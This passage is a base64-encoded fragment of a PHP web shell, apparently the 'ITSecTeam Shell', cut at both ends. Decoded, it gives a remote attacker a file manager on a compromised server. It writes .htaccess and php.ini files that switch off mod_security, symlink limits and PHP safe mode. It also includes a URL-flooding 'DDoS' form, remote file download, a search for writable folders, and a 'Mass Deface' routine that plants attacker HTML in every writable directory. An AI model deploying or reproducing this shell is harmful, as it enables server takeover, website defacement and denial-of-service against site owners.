gyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAiIEdCIjt9DQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICIgS0IiO30NCiBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBCIjt9DQogcmV0dXJuICRzaXplOw0KfQ0KaWYoJF9SRVFVRVNUWydkbyddPT0nYWJvdXQnKXsNCmVjaG8gJGhlYWQuIjxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGNvbG9yPXJlZD5JVFNlY1RlYW0sIElUIFNlY3VyaXR5IFJlc2VhcmNoICYgUGVuZXRyYXRpb24gVGVzdGluZyBUZWFtPC9iPjwvZm9udD48YnI+VmVyc2lvbiAyLjEgPGJyPkxhc3QgVXBkYXRlIDogMjAxMC8xMC8xMDxicj5Db2RlZCBCeSA6IEFtaW4gU2hva29oaShQZWp2YWspPGJyPlNwZWNpYWwgVGhhbmtzKE0zaHJAbi5TICwgQW0hcmtoQG4gLCBSM2RtMHZlICwgUHJvdmlkZXIgLCBING1pZEBUbTNsICwgYWhtYWRiYWR5ICwgRG9vc2liICk8YnI+SG9tZSBQYWdlIDogPGEgaHJlZj0naHR0cDovL3d3dy5pdHNlY3RlYW0uY29tJz5odHRwOi8vd3d3Lml0c2VjdGVhbS5jb208L2E+PGJyPlVwZGF0ZSBOb3RpY2U6IDxhIGhyZWY9J2h0dHA6Ly9pdHNlY3RlYW0uY29tL2VuL3Rvb2xzL2l0c2VjdGVhbV9zaGVsbC5odG0nPklUU2VjVGVhbSBTaGVsbDwvYT48YnI+Rm9ydW0gOiA8YSBocmVmPSdodHRwOi8vd3d3LmZvcnVtLml0c2VjdGVhbS5jb20nPmh0dHA6Ly93d3cuZm9ydW0uaXRzZWN0ZWFtLmNvbTwvYT48YnI+DQo8Y2VudGVyPg0KPFBSRT4NCg0KIF9fX19fXyAgX19fX19fICBfX19fICAgICAgICAgICAgICAgICAgIF9fX19fXyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi9cX18gIF9cL1xfXyAgX1wvXCAgX2BcICAgICAgICAgICAgICAgIC9cX18gIF9cICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpcL18vXCBcL1wvXy9cIFwvXCBcLFxMXF9cICAgICBfXyAgICBfX19cL18vXCBcLyAgICBfXyAgICAgX18gICAgICBfX18gX19fICAgIA0KICAgXCBcIFwgICBcIFwgXCBcL19cX18gXCAgIC8nX19gXCAvJ19fX1wgXCBcIFwgIC8nX19gXCAvJ19fYFwgIC8nIF9fYCBfX2BcICANCiAgICBcX1wgXF9fIFwgXCBcICAvXCBcTFwgXC9cICBfXy8vXCBcX18vICBcIFwgXC9cICBfXy8vXCBcTFwuXF8vXCBcL1wgXC9cIFwgDQogICAgL1xfX19fX1wgXCBcX1wgXCBgXF9fX19cIFxfX19fXCBcX19fX1wgIFwgXF9cIFxfX19fXCBcX18vLlxfXCBcX1wgXF9cIFxfXA0KICAgIFwvX19fX18vICBcL18vICBcL19fX19fL1wvX19fXy9cL19fX18vICAgXC9fL1wvX19fXy9cL19fL1wvXy9cL18vXC9fL1wvXy8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQo8L1BSRT4NCg0KDQoiLiRlbmQ7ZXhpdDsNCg0KfQ0KZnVuY3Rpb24gZGVsZXRlRGlyZWN0b3J5KCRkaXIpIHsNCmlmICghZmlsZV9leGlzdHMoJGRpcikpIHJldHVybiB0cnVlOw0KaWYgKCFpc19kaXIoJGRpcikgfHwgaXNfbGluaygkZGlyKSkgcmV0dXJuIHVubGluaygkZGlyKTsNCmZvcmVhY2ggKHNjYW5kaXIoJGRpcikgYXMgJGl0ZW0pIHsNCmlmICgkaXRlbSA9PSAnLicgfHwgJGl0ZW0gPT0gJy4uJykgY29udGludWU7DQppZiAoIWRlbGV0ZURpcmVjdG9yeSgkZGlyIC4gIi8iIC4gJGl0ZW0pKSB7DQpjaG1vZCgkZGlyIC4gIi8iIC4gJGl0ZW0sIDA3NzcpOw0KaWYgKCFkZWxldGVEaXJlY3RvcnkoJGRpciAuICIvIiAuICRpdGVtKSkgcmV0dXJuIGZhbHNlOw0KfTt9cmV0dXJuIHJtZGlyKCRkaXIpO30NCg0KZnVuY3Rpb24gZG93bmxvYWQoJGZpbGVhZGQsJGZpbmFtZSl7DQokZGxmaWxlYT0kZmlsZWFkZC4kZmluYW1lOw0KaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gJGZpbmFtZSk7ICAgDQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsNCmhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlc2l6ZSgkZGxmaWxlYSkpOw0KZmx1c2goKTsNCiRmcCA9IGZvcGVuKCQkZGxmaWxlYSwgInIiKTsNCndoaWxlICghZmVvZigkZnApKQ0Kew0KICAgIGVjaG8gZnJlYWQoJGZwLCA2NTUzNik7DQogICAgZmx1c2goKTsNCn0gDQpmY2xvc2UoJGZwKTsgDQp9DQppZigkX0dFVFsnZG8nXT09InJlbmFtZSIpew0KZWNobyAkaGVhZC4kZm9ybXAuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPjxpbnB1dCB2YWx1ZT0nLiRfR0VUWydmaWxlbmFtZSddLic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWRkcmVzc3JlbiB2YWx1ZT0nLiRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10uJz4gVG8gPGlucHV0IG5hbWU9bmFtZXJlbj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIFNhdmUgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCg0KaWYgKCRfR0VUWydieWFwYWNoZSddPT0nb2Ztcycpew0KJGZzZT1mb3BlbihnZXRjd2QoKS4kc2xhc2guIi5odGFjY2VzcyIsInciKTsNCmZ3cml0ZSgkZnNlLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQogICAgU2VjLS0tLS0tRW5naW5lIE9mZg0KICAgIFNlYy0tLS0tLVNjYW5QT1NUIE9mZg0KPC9JZk1vZHVsZT4nKTsNCmZjbG9zZSgkZnNlKTsNCn1lbHNlaWYgKCRfR0VUWydieWFwYWNoZSddPT0nYnlzYXAnKXsNCiRmc2U9Zm9wZW4oZ2V0Y3dkKCkuJHNsYXNoLiIuaHRhY2Nlc3MiLCJ3Iik7DQpmd3JpdGUoJGZzZSwnT3B0aW9ucyArRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IFBlcnNpYW4tR3VsZi1Gb3ItRXZlci5odG1sJyk7DQpmY2xvc2UoJGZzZSk7DQp9ZWxzZWlmICgkX0dFVFsnYnlhcGFjaGUnXT09J3NmYWRmJyl7DQokZnNlPWZvcGVuKGdldGN3ZCgpLiRzbGFzaC4icGhwLmluaSIsInciKTsNCmZ3cml0ZSgkZnNlLCdzYWZlX21vZGU9T0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucz1OT05FJyk7DQpmY2xvc2UoJGZzZSk7DQp9DQppZigkX0dFVFsnZG8nXT09ImFwYWNoZSIpew0KZWNobyAkaGVhZC4kZm9ybWcuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPg0KPHNlbGVjdCBuYW1lPWJ5YXBhY2hlPg0KPG9wdGlvbiB2YWx1ZT0ib2ZtcyI+T2ZmIE1vZGUgU2VjdXJpdHkoLmh0YWNjZXNzKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImJ5c2FwIj5CeXBhc3MgU3ltbGluayguaHRhY2Nlc3MpPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJzZmFkZiI+RGlzYWJsZSBTYWZlIE1vZGUgJiBEaXNhYmxlIEZ1bmN0aW9uKFBocC5pbmkpPC9vcHRpb24+DQo8L3NlbGVjdD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPWVYZWN1dGU+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmKCRfR0VUWydkbyddPT0iZGQwcyIpew0KZWNobyAkaGVhZC4kZm9ybWcuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPkFkZHJlc3MgOiA8aW5wdXQgbmFtZT11cmxkZDAgc2l6ZT01MD4gVGltZSA6IDxpbnB1dCBuYW1lPXRpbWVkZDAgc2l6ZT02IHZhbHVlPTQwMDAwPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgRERvUyAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfQ0KDQppZigkX0dFVFsndXJsZGQwJ10gJiYgJF9HRVRbJ3RpbWVkZDAnXSl7DQpmb3IgKCRpZD0wOyQkaWQ8JF9HRVRbJ3RpbWVkZDAnXTskaWQrKyl7DQokZnA9bnVsbDsNCiRjb250ZW50cz1udWxsOw0KJGZwPWZvcGVuKCRfR0VUWyd1cmxkZDAnXSwicmIiKTsNCndoaWxlICghZmVvZigkZnApKSB7DQogICRjb250ZW50cyAuPSBmcmVhZCgkZnAsIDgxOTIpOw0KfQ0KZmNsb3NlKCRmcCk7DQp9fQ0KaWYoJF9HRVRbJ2RvJ109PSJkbGZpbGUiKXsNCmVjaG8gJGhlYWQuJGZvcm1wLiRub3dhZGRyZXNzLic8cCBhbGlnbj0iY2VudGVyIj5Eb3dubG9hZCBSZW1vdGUgRmlsZSE8YnI+QWRkcmVzcyA6IDxpbnB1dCBuYW1lPWFkbHIgc2l6ZT03MD48YnI+U2F2ZSBUbyA6IDxpbnB1dCBuYW1lPWFkc3IgdmFsdWU9Jy5nZXRjd2QoKS4kc2xhc2guJyBzaXplPTcwPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgRG93bmxvYWQgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmZ1bmN0aW9uIGRpcnBlKCRhZGRyZXMpew0KZ2xvYmFsICRzbGFzaDsNCiRpZGQ9MDsNCmlmICgkZGlyaGVuID0gQG9wZW5kaXIoJGFkZHJlcykpIHsNCndoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRpcmhlbikpIHsNCiRwZXJtZGlyPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRhZGRyZXMuJHNsYXNoLiRmaWxlKTsNCmlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicgJiYgaXNfZGlyKCRwZXJtZGlyKSl7DQppZiAoaXNfd3JpdGFibGUoJHBlcm1kaXIpKSB7DQokZGlyZGF0YVskaWRkXVsnZmlsZW5hbWUnXT0kcGVybWRpcjsgDQokaWRkKys7DQp9DQpkaXJwZSgkcGVybWRpcik7DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoJGRpcmhlbik7DQoJfSBlbHNlIHsNCgkJcmV0dXJuICgibm90cGVybSIpOw0KCX0NCglpZiAoJGRpcmRhdGEpew0KCXJldHVybiAkZGlyZGF0YTsNCgl9ZWxzZXsNCgkJcmV0dXJuICJub3Rmb3VuZCI7DQoNCgl9DQp9DQpmdW5jdGlvbiBkaXJwbWFzcygkYWRkcmVzLCRtYXNzbmFtZSwkbWFzc3NvdXJjZSl7DQpnbG9iYWwgJHNsYXNoOw0KJGlkZD0wOw0KaWYgKCRkaXJoZW4gPSBAb3BlbmRpcigkYWRkcmVzKSkgew0Kd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGlyaGVuKSkgew0KJHBlcm1kaXI9c3RyX3JlcGxhY2UoJy8vJywnLycsJGFkZHJlcy4kc2xhc2guJGZpbGUpOw0KaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJHBlcm1kaXIpKXsNCmlmIChpc193cml0YWJsZSgkcGVybWRpcikpIHsNCmlmICgkZm09Zm9wZW4oJHBlcm1kaXIuJHNsYXNoLiRtYXNzbmFtZSwidyIpKXsNCmZ3cml0ZSgkZm0sJG1hc3Nzb3VyY2UpOw0KZmNsb3NlKCRmbSk7DQokZGlyZGF0YVskaWRkXVsnZmlsZW5hbWUnXT0kcGVybWRpcjsgDQp9DQoNCiRpZGQrKzsNCn0NCmRpcnBtYXNzKCRwZXJtZGlyKTsNCgkJCX0NCgkJfQ0KCQljbG9zZWRpcigkZGlyaGVuKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gKCJub3RwZXJtIik7DQoJfQ0KCWlmICgkZGlyZGF0YSl7DQoJcmV0dXJuICRkaXJkYXRhOw0KCX1lbHNlew0KCQlyZXR1cm4gIm5vdGZvdW5kIjsNCg0KCX0NCn0NCmlmKCRfR0VUWydkbyddPT0icGVybSIpew0KZWNobyAkaGVhZC4kZm9ybXAuJzxwIGFsaWduPSJjZW50ZXIiPkZpbmQgQWxsIEZvbGRlciBXcml0ZWFibGU8YnI+IDxpbnB1dCBuYW1lPWFmZncgdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiciIHNpemU9NTA+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBTZWFyY2ggICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmICgkX1BPU1RbJ2FmZncnXSl7DQokYXJyZmlsZWxpc3Q9ZGlycGUoJF9QT1NUWydhZmZ3J10pOw0KaWYgKCRhcnJmaWxlbGlzdD09J25vdGZvdW5kJyl7DQphbGVydCgiTm90IEZvdW5kICEiKTsNCn1lbHNlaWYoJGFycmZpbGVsaXN0PT0nbm90cGVybScpew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCn1lbHNlew0KZm9yZWFjaCAoJGFycmZpbGVsaXN0IGFzICR0bXBkaXIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInO30NCiRjb2krKzsNCiRwZXJtZGlyPSRwZXJtZGlyLic8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgYmdjb2xvcj0nLiRjb2xvcnQuJyB3aWR0aD0iOTUwIiBoZWlnaHQ9IjIwIiBkaXI9Imx0ciI+DQo8dHI+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iODQyIj48cCBhbGlnbj0ibGVmdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/YWRkcmVzcz0nLiR0bXBkaXJbJ2ZpbGVuYW1lJ10uJyI+PGI+Jy4kdG1wZGlyWydmaWxlbmFtZSddLic8L2I+PC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI2NSI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PC90cj48L3RhYmxlPic7DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kcGVybWRpci4nPC90YWJsZT4NCjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyZWN0b3J5PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPlVwbG9hZCAtLS0mZ3Q7ICZuYnNwOzwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb3JtIGFjdGlvbj0iJy4kbWUuJyIgbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPicuJG5vd2FkZHJlc3MuJw0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij48aW5wdXQgc2l6ZT00MCB0eXBlPWZpbGUgbmFtZT1maWxlZSA+IA0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVVwbG9hZCAvPjxicj4nLiRpZnVwbG9hZC4nPC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NobW9kIC0tLS0mZ3Q7PC9iPiZuYnNwOyZuYnNwO0ZpbGUgOiA8L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0vbm93Mi5waHA+PGlucHV0IHNpemU9NTUgbmFtZT1jaG1vZGU+Jm5ic3A7Jm5ic3A7UGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPWNobW9kbnVtIHZhbHVlPTc3NyBzaXplPTM+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIE9rICI+PC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NyZWF0ZSBEaXIgLS0tLSZndDs8L2I+IERpcmN0b3J5IE5hbWUgPC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBuYW1lPWNkaXJuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPicuJGZvcm1wLic8Yj5DcmVhdGUgRmlsZSAtLS0tJmd0OzwvYj4gTmFtZSBGaWxlIDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGlucHV0IG5hbWU9Y2ZpbGVuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4nLiRmb3JtcC4nPGI+Q29weSAtLS0tJmd0OzwvYj48L2I+Jm5ic3A7Jm5ic3A7RmlsZSA6IDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBzaXplPTQwIG5hbWU9Y29weW5hbWU+IFRvIERpcmVjdG9yeSA8aW5wdXQgc2l6ZT00MCBuYW1lPWNweXRvPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+Jy4kZW5kO2V4aXQ7DQp9fQ0KaWYoJF9HRVRbJ2RvJ109PSJtYXNzIil7DQplY2hvICRoZWFkLiRmb3JtcC4nPHAgYWxpZ249ImNlbnRlciI+W01hc3MgRGVmYWNlXTxicj48aW5wdXQgbmFtZT1tZmZ3IHZhbHVlPSInLmdldGN3ZCgpLiRzbGFzaC4nIiBzaXplPTUwPjxpbnB1dCBuYW1lPW1hc3NuYW1lIHZhbHVlPSJkZWYuaHRtIiBzaXplPTEwPjxicj48dGV4dGFyZWEgbmFtZT1tYXNzc291cmNlIGNvbHM9NjAgcm93cz0xOD5Tb3VyY2U8L3RleHRhcmVhPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgTWFzcyAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfQ0KaWYgKCRfUE9TVFsnbWZmdyddKXsNCiRhcnJmaWxlbGlzdD1kaXJwbWFzcygkX1BPU1RbJ21mZncnXSwkX1BPU1RbJ21hc3NuYW1lJ10sJF9QT1NUWydtYXNzc291cmNlJ10pOw0KaWYgKCRhcnJmaWxlbGlzdD09J25vdGZvdW5kJyl7DQphbGVydCgiTm90IEZvdW5kICEiKTsNCn1lbHNlaWYoJGFycmZpbGVsaXN0PT0nbm90cGVybScpew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCn1lbHNlew0KZm9yZWFjaCAoJGFycmZpbGVsaXN0IGFzICR0bXBkaXIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInO30NCiRjb2krKzsNCiRwZXJtZGlyPSRwZXJtZGlyLic8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgYmdjb2xvcj0nLiRjb2xvcnQuJyB3aWR0aD0iOTUwIiBoZWlnaHQ9IjIwIiBkaXI9Imx0ciI+DQo8dHI+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iODQyIj48cCBhbGlnbj0ibGVmdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/YWRkcmVzcz0nLiR0bXBkaXJbJ2ZpbGVuYW1lJ10uJyI+PGI+Jy4kdG1wZGlyWydmaWxlbmFtZSddLic8L2I+PC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI2NSI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc